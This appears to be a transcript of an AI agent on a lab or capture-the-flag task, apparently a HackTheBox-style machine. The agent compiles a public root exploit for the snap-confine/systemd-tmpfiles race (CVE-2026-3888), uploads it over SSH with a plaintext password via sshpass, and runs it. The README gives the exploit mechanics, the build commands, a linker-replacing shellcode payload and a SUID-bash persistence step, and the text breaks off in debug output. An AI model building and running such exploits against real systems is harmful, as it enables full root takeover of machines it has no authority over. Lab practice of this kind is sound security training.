/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/objects/pack/pack-0fb815d78abf47f768e0b794e065aa6ab5c1c84b.pack
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/index
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/packed-refs
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/pre-rebase.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/prepare-commit-msg.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/push-to-checkout.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/pre-applypatch.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/pre-receive.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/pre-commit.sample
/tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/.git/hooks/update.sample
Let me read the source files and the README to understand compilation requirements.
$ cat /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/README.md | head -100# CVE-2026-3888 — snap-confine / systemd-tmpfiles Local Privilege Escalation
Local privilege escalation from unprivileged user to full root on Ubuntu Desktop 24.04+ by exploiting a TOCTOU race condition between `snap-confine` and `systemd-tmpfiles`. Two variants are provided: **SUID** and **Capabilities**.
**CVSS:** 7.8 (High) | **Advisory:** [Qualys](https://cdn2.qualys.com/advisory/2026/03/17/snap-confine-systemd-tmpfiles.txt) | **Patch:** snapd 2.74.2, March 17, 2026
## Table of Contents
- [Variant Comparison](#variant-comparison)
- [Variant 1 — SUID](#variant-1--suid)
- [How It Works](#how-it-works)
- [Files](#files)
- [Build](#build)
- [Usage](#usage)
- [Requirements](#requirements)
- [Output](#output)
- [Variant 2 — Capabilities](#variant-2--capabilities-ubuntu-2510)
- [How It Works](#how-it-works-1)
- [Files](#files-1)
- [Build](#build-1)
- [Usage](#usage-1)
- [Requirements](#requirements-1)
- [Output](#output-1)
- [Lab Setup](#lab-setup)
- [Disclaimer](#disclaimer)
---
## Variant Comparison
| | Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
| ------------------ | ----------------------------------------------- | -------------------------------------------------- |
| snap-confine | SUID-root | Capabilities (`cap_sys_admin`, etc.) |
| Target snap | firefox | snap-store |
| Mimic target | `/usr/lib/x86_64-linux-gnu` (~285 entries) | `/var/lib` (~17 entries) |
| Exploit vector | Overwrite `ld-linux-x86-64.so.2` with shellcode | Control `user-fstab` + `ld.so.preload` |
| Payload format | Static ELF with raw syscalls | Shared library with `__attribute__((constructor))` |
| Root trigger | SUID snap-confine loads poisoned dynamic linker | SUID `su` in `/tmp/.snap` preloads `.so` |
| cgroup requirement | Any `snap.*` name | Exact match: `snap.snap-store.hook.configure` |
| `.snap` cleanup | 30 days | 10 days |
| Sandbox escape | `/var/snap/firefox/common/bash` | `/var/snap/snap-store/common/bash` |
---
## Variant 1 — SUID
### How It Works
1. `systemd-tmpfiles` deletes the stale `.snap` mimic directory under `/tmp` (30-day age-out)
2. Attacker recreates it with controlled content — all files owned by the attacker
3. Exploit single-steps `snap-confine` via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
4. Attacker-owned libraries are mounted into the sandbox as root
5. `ld-linux-x86-64.so.2` is replaced with shellcode that calls `setreuid(0,0)` + `execve`
6. Executing SUID `snap-confine` triggers the shellcode with root privileges
7. SUID bash is dropped to `/var/snap/firefox/common/` to escape the sandbox
### Files
| File | Description |
| --------------------- | ------------------------------------------------------------ |
| `exploit_suid.c` | Unified single-binary exploit — all 7 phases in one fork-based orchestrator |
| `librootshell_suid.c` | Payload — minimal ELF that replaces `ld-linux-x86-64.so.2` via raw x86_64 syscalls |
### Build
```bash
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
```
Both must be compiled on (or cross-compiled for) x86_64 Linux. `exploit` is statically linked so it runs inside the snap sandbox without library dependencies. `librootshell.so` uses `-nostdlib` because it contains only raw syscalls — no libc.
### Usage
```
./exploit <librootshell.so> [-d] [-s]
```
| Flag | Description |
| ---- | ------------------------------------------------------ |
| `-d` | Show snap-confine debug output (verbose mode) |
| `-s` | Skip the `.snap` cleanup wait (requires root password) |
```bash
# Normal run
./exploit ./librootshell.so
# Debug mode
./exploit ./librootshell.so -d
# Retry after failure
./exploit ./librootshell.so -s
```
The exploit enters the sandbox, waits for `systemd-tmpfiles` to delete `.snap` (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.
### Requirements
- Ubuntu 24.04+ with unpatched snapd (< 2.74.2)
- `snap-confine` must be SUID-root (`-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine`)
This is exactly what we need. The target is Ubuntu 24.04 with SUID snap-confine, so we use the SUID variant targeting Firefox. Let me compile both files and upload them.
$ cd /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE && gcc -O2 -static -o exploit exploit_suid.c 2>&1 && echo "BUILD OK" && gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c 2>&1 && echo "LIBROOT OK"exploit_suid.c: In function ‘main’:
exploit_suid.c:673:5: warning: ignoring return value of ‘getcwd’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
673 | getcwd(g_orig_cwd, sizeof(g_orig_cwd));
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘phase2_wait_for_cleanup’:
exploit_suid.c:365:9: warning: ignoring return value of ‘system’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
365 | system("systemctl start systemd-tmpfiles-clean.service "
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
366 | "2>/dev/null");
| ~~~~~~~~~~~~~~
exploit_suid.c: In function ‘phase3_destroy_namespace’:
exploit_suid.c:417:5: warning: ignoring return value of ‘system’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
417 | system(cmd);
| ^~~~~~~~~~~
exploit_suid.c: In function ‘setup_snap_and_exchange’:
exploit_suid.c:120:46: warning: ignoring return value of ‘symlink’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
120 | if (len > 0) { link[len] = '\0'; symlink(link, dst); }
| ^~~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘copy_file’:
exploit_suid.c:61:9: warning: ignoring return value of ‘write’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
61 | write(fdd, buf, n);
| ^~~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘run_and_race’:
exploit_suid.c:197:9: warning: ignoring return value of ‘write’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
197 | write(sink_fd, &byte, 1);
| ^~~~~~~~~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘phase6_trigger_root’:
exploit_suid.c:532:5: warning: ignoring return value of ‘chdir’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
532 | chdir(g_orig_cwd);
| ^~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘phase7_verify_and_root’:
exploit_suid.c:564:5: warning: ignoring return value of ‘chdir’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
564 | chdir(g_orig_cwd);
| ^~~~~~~~~~~~~~~~~
exploit_suid.c:587:5: warning: ignoring return value of ‘system’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
587 | system("pkill -f 'sleep 99994' 2>/dev/null");
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
exploit_suid.c:588:5: warning: ignoring return value of ‘system’ declared with attribute ‘warn_unused_result’ [-Wunused-result]
588 | system("pkill -f 'sleep 86400' 2>/dev/null");
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
exploit_suid.c: In function ‘main’:
exploit_suid.c:680:24: warning: ‘__builtin___snprintf_chk’ output may be truncated before the last format character [-Wformat-truncation=]
680 | "%s/%s", g_orig_cwd, argv[1]);
| ^
In file included from /usr/include/stdio.h:980,
from exploit_suid.c:20:
In function ‘snprintf’,
inlined from ‘main’ at exploit_suid.c:679:9:
/usr/include/x86_64-linux-gnu/bits/stdio2.h:54:10: note: ‘__builtin___snprintf_chk’ output 2 or more bytes (assuming 4097) into a destination of size 4096
54 | return __builtin___snprintf_chk (__s, __n, __USE_FORTIFY_LEVEL - 1,
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
55 | __glibc_objsize (__s), __fmt,
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
56 | __va_arg_pack ());
| ~~~~~~~~~~~~~~~~~
BUILD OK
LIBROOT OK
Both compiled successfully. Now let me upload them to the target.
$ sshpass -p 'linkinpark' scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/exploit /tmp/snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/librootshell.so jonathan@10.129.25.16:/home/jonathan/ 2>/dev/null && echo "UPLOAD OK"UPLOAD OK
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la exploit librootshell.so' 2>/dev/null-rwxrwxr-x 1 jonathan jonathan 862040 Apr 9 07:26 exploit
-rwxrwxr-x 1 jonathan jonathan 9152 Apr 9 07:26 librootshell.so
Files are uploaded. Now let me check if the .snap directory already exists and what the state is, then run the exploit.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -laR /tmp/snap-private-tmp/ 2>/dev/null; echo "==="; find /tmp -name ".snap" -type d 2>/dev/null; echo "==="; snap list firefox 2>/dev/null' 2>/dev/null===
===
Name Version Rev Tracking Publisher Notes
firefox 129.0.2-1 4793 latest/stable/… mozilla** -
The /tmp/snap-private-tmp/ doesn't exist yet. We need to first enter the Firefox sandbox to create it, then wait for systemd-tmpfiles to clean it up. Let me run the exploit. Since the timer is set to 1 minute intervals, the cleanup should happen relatively quickly.
$ sshpass -p 'linkinpark' ssh -t -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cd /home/jonathan && chmod +x exploit && ./exploit ./librootshell.so -d' 2>&1 | head -100[Timed out after 180s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 180s).The exploit is running but takes time. The issue is that it waits for .snap to be deleted by systemd-tmpfiles. Since the timer runs every minute, it could take some time. Let me run it in the background and monitor it.
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cd /home/jonathan && nohup ./exploit ./librootshell.so -d > /tmp/exploit_output.txt 2>&1 & echo $!' 2>/dev/null6315
[Timed out after 15s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 15s).$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_output.txt 2>/dev/null; echo "---"; ps aux | grep exploit | grep -v grep' 2>/dev/null---
jonathan 6315 0.0 0.0 9948 2096 ? S 07:29 0:00 bash -c cd /home/jonathan && nohup ./exploit ./librootshell.so -d > /tmp/exploit_output.txt 2>&1 & echo $!
jonathan 6316 0.0 0.0 1088 812 ? S 07:29 0:00 /home/jonathan/exploit ./librootshell.so -d
The exploit is running but output hasn't been written yet. Let me wait and check again.
$ sleep 30 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_output.txt 2>/dev/null; echo "---PS---"; ps aux | grep -E "exploit|snap" | grep -v grep' 2>/dev/null---PS---
avahi 1520 0.0 0.1 8756 4596 ? Ss 07:05 0:00 avahi-daemon: running [snapped.local]
root 1573 0.0 0.8 1843344 33640 ? Ssl 07:05 0:01 /usr/lib/snapd/snapd
jonathan 6215 0.1 0.3 39008 12088 ? Ss 07:29 0:00 /snap/snapd-desktop-integration/178/usr/bin/snapd-desktop-integration
jonathan 6315 0.0 0.0 9948 2096 ? S 07:29 0:00 bash -c cd /home/jonathan && nohup ./exploit ./librootshell.so -d > /tmp/exploit_output.txt 2>&1 & echo $!
jonathan 6316 0.0 0.0 1088 812 ? S 07:29 0:00 /home/jonathan/exploit ./librootshell.so -d
jonathan 6326 0.0 0.0 2900 1884 ? S 07:29 0:00 /bin/sh -c cd /tmp; while test -d ./.snap; do touch ./; sleep 5; done; sleep 86400
jonathan 6348 0.0 0.5 278972 21308 ? Sl 07:29 0:00 /snap/snapd-desktop-integration/178/usr/bin/snapd-desktop-integration
I can see the exploit has entered a sandbox (snapd-desktop-integration is running) and it's waiting for .snap to be deleted. The exploit spawned a shell inside the snap sandbox. Let me wait longer for systemd-tmpfiles to clean up.
$ sleep 60 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_output.txt 2>/dev/null; echo "---PS---"; ps aux | grep -E "exploit|snap-confine" | grep -v grep' 2>/dev/nullcannot perform operation: mount --rbind /dev /tmp/snap.rootfs_LQOt1Q//dev: No such file or directory
DEBUG: -- snap startup {"stage":"snap-confine enter", "time":"1775734258.893679"}
DEBUG: umask reset, old umask was 02
DEBUG: security tag: snap.firefox.hook.configure
DEBUG: executable: /bin/sh
DEBUG: confinement: non-classic
DEBUG: base snap: core22
DEBUG: ruid: 1000, euid: 0, suid: 0
DEBUG: rgid: 1000, egid: 1000, sgid: 1000
DEBUG: apparmor label on snap-confine is: /usr/lib/snapd/snap-confine
DEBUG: apparmor mode is: enforce
DEBUG: -- snap startup {"stage":"snap-confine mount namespace start", "time":"1775734258.895559"}
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope (global), uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: ensuring that snap mount directory is shared
DEBUG: unsharing snap namespace directory
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: releasing lock 5
DEBUG: opened snap-update-ns executable as file descriptor 5
DEBUG: opened snap-discard-ns executable as file descriptor 6
DEBUG: creating lock directory /run/snapd/lock (if missing)
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: opening lock directory /run/snapd/lock
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: opening lock file: /run/snapd/lock/firefox.lock
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: sanity timeout initialized and set for 30 seconds
DEBUG: acquiring exclusive lock (scope firefox, uid 0)
DEBUG: sanity timeout reset and disabled
DEBUG: initializing mount namespace: firefox
DEBUG: device cgroup not required due to base core22
DEBUG: setting up device cgroup, mode "optional"
DEBUG: libudev has current tags support
DEBUG: no devices tagged with snap_firefox_hook_configure, skipping device cgroup setup
DEBUG: forked support process 6603
DEBUG: unsharing the mount namespace (per-snap)
DEBUG: scratch directory for constructing namespace: /tmp/snap.rootfs_BQ8CsP
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: DEBUG: changing apparmor hat to mount-namespace-capture-helper
DEBUG: helper process waiting for command
DEBUG: sanity timeout initialized and set for 30 seconds
performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: saved rootfs fstab entry to /run/snapd/ns/snap.firefox.fstab
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: pivot_root /tmp/snap.rootfs_BQ8CsP /tmp/snap.rootfs_BQ8CsP//var/lib/snapd/hostfs
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: rmdir /var/lib/snapd/hostfs//tmp/snap.rootfs_BQ8CsP
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: calling snapd tool snap-update-ns
DEBUG: waiting for snapd tool snap-update-ns to terminate
DEBUG: requesting changing of apparmor profile on next exec to snap-update-ns.firefox
logger.go:93: DEBUG: locking mount namespace of snap "firefox"
logger.go:93: DEBUG: freezing processes of snap "firefox"
logger.go:93: DEBUG: current mount entries
logger.go:93: DEBUG: - tmpfs / tmpfs x-snapd.origin=rootfs 0 0
logger.go:93: DEBUG: desired mount entries (sorted)
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Adwaita /snap/firefox/4793/data-dir/icons/Adwaita none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Ambiant-MATE /snap/firefox/4793/data-dir/icons/Ambiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Breeze_Snow /snap/firefox/4793/data-dir/icons/Breeze_Snow none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/DMZ-Black /snap/firefox/4793/data-dir/icons/DMZ-Black none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/DMZ-White /snap/firefox/4793/data-dir/icons/DMZ-White none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/HighContrast /snap/firefox/4793/data-dir/icons/HighContrast none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Humanity-Dark /snap/firefox/4793/data-dir/icons/Humanity-Dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Humanity /snap/firefox/4793/data-dir/icons/Humanity none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Papirus-Adapta-Maia /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Maia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Papirus-Adapta-Nokto-Maia /snap/firefox/4793/data-dir/icons/Papirus-Adapta-Nokto-Maia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Papirus-Dark-Maia /snap/firefox/4793/data-dir/icons/Papirus-Dark-Maia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Papirus-Light-Maia /snap/firefox/4793/data-dir/icons/Papirus-Light-Maia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Papirus-Maia /snap/firefox/4793/data-dir/icons/Papirus-Maia none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Radiant-MATE /snap/firefox/4793/data-dir/icons/Radiant-MATE none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-MATE-dark /snap/firefox/4793/data-dir/icons/Yaru-MATE-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-MATE-light /snap/firefox/4793/data-dir/icons/Yaru-MATE-light none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-bark-dark /snap/firefox/4793/data-dir/icons/Yaru-bark-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-bark /snap/firefox/4793/data-dir/icons/Yaru-bark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-blue-dark /snap/firefox/4793/data-dir/icons/Yaru-blue-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-blue /snap/firefox/4793/data-dir/icons/Yaru-blue none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-dark /snap/firefox/4793/data-dir/icons/Yaru-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-magenta-dark /snap/firefox/4793/data-dir/icons/Yaru-magenta-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-magenta /snap/firefox/4793/data-dir/icons/Yaru-magenta none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-mate-dark /snap/firefox/4793/data-dir/icons/Yaru-mate-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-mate /snap/firefox/4793/data-dir/icons/Yaru-mate none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-olive-dark /snap/firefox/4793/data-dir/icons/Yaru-olive-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-olive /snap/firefox/4793/data-dir/icons/Yaru-olive none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-prussiangreen-dark /snap/firefox/4793/data-dir/icons/Yaru-prussiangreen-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-prussiangreen /snap/firefox/4793/data-dir/icons/Yaru-prussiangreen none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-purple-dark /snap/firefox/4793/data-dir/icons/Yaru-purple-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-purple /snap/firefox/4793/data-dir/icons/Yaru-purple none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-red-dark /snap/firefox/4793/data-dir/icons/Yaru-red-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-red /snap/firefox/4793/data-dir/icons/Yaru-red none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-sage-dark /snap/firefox/4793/data-dir/icons/Yaru-sage-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-sage /snap/firefox/4793/data-dir/icons/Yaru-sage none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-viridian-dark /snap/firefox/4793/data-dir/icons/Yaru-viridian-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru-viridian /snap/firefox/4793/data-dir/icons/Yaru-viridian none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/Yaru /snap/firefox/4793/data-dir/icons/Yaru none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/breeze_cursors /snap/firefox/4793/data-dir/icons/breeze_cursors none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/default /snap/firefox/4793/data-dir/icons/default none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/elementary-xfce-dark /snap/firefox/4793/data-dir/icons/elementary-xfce-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/elementary-xfce-darker /snap/firefox/4793/data-dir/icons/elementary-xfce-darker none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/elementary-xfce-darkest /snap/firefox/4793/data-dir/icons/elementary-xfce-darkest none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/elementary-xfce /snap/firefox/4793/data-dir/icons/elementary-xfce none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/elementary /snap/firefox/4793/data-dir/icons/elementary none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/handhelds /snap/firefox/4793/data-dir/icons/handhelds none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/hicolor /snap/firefox/4793/data-dir/icons/hicolor none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/redglass /snap/firefox/4793/data-dir/icons/redglass none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/ubuntu-mono-dark /snap/firefox/4793/data-dir/icons/ubuntu-mono-dark none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/ubuntu-mono-light /snap/firefox/4793/data-dir/icons/ubuntu-mono-light none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/icons/whiteglass /snap/firefox/4793/data-dir/icons/whiteglass none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/sounds/Yaru /snap/firefox/4793/data-dir/sounds/Yaru none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/sounds/freedesktop /snap/firefox/4793/data-dir/sounds/freedesktop none bind,ro 0 0
logger.go:93: DEBUG: - /snap/gtk-common-themes/1535/share/themes/Adwaita-dark /snap/firefox/4793/data-dir/themes/Adwaita-dark none bind,ro 0 0
